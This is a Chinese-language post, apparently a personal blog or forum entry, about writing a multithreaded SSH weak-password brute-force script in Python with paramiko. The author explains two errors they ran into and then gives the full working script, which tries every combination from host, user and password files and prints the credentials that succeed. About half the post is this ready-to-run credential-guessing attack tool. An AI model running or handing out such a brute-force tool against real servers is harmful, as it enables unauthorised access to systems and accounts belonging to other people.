練習寫了個SSH弱口令爆破多線程腳本,遇到的問題
1、一開始想import pexpect 中的pxssh 然而卻一直該有錯誤,
ImportError: cannot import name spawn
google了下問題都說的很模糊也不清楚。有的說是pexpect模塊沒安裝好,有的說是python import的問題,因為在lib中已經有了spawn模塊,與pexpect模塊中的spawn重名了,所以報錯。但也都沒說清楚該這么弄。最后在here這里看到了問題原因,原來是pexpect根本不支持windows,我們可以用paramiko模塊來解決這個問題。
2、寫完代碼后,使用多線程后,雖然不報錯,但結果會有警告,
提示:No handlers could be found for logger “paramiko.transport”
我在這個網站this_web找到解決方案。只要加入一行代碼就行了。
paramiko.util.log_to_file("filename.log")
因為我們沒有配置日志,所以根應用程序和模塊不知道在哪里發送日志。所以只要將所有的連接都記錄到文件中就可以啦。
代碼丑將就看看。
#!usr/bin/env python #!coding=utf-8 __author__='zhengjim' import paramiko from threading import Thread def connect(host,user,pwd): try: ssh=paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=host,username=user,password=pwd,timeout=5) ssh.close() print '破解成功!用戶名:'+ user +',密碼:' + pwd + ',主機IP:'+ host except: pass paramiko.util.log_to_file("filename.log") host=open('host.txt') for line in host: host=line.strip('\n') print '開始爆破主機:'+host user=open('user.txt') for line in user: user=line.strip('\n') pwd =open('pwd.txt') for line in pwd: pwd = line.strip('\n') t=Thread(target=connect,args=(host,user,pwd)) t.start()
目錄下需要host.txt,user.txt,pwd.txt三個文件
還有個問題就是,因為使用多線程,並且對多線程不太了解,所以程序不能在匹配到正確賬號密碼后跳出循環。望大牛可以教教我。~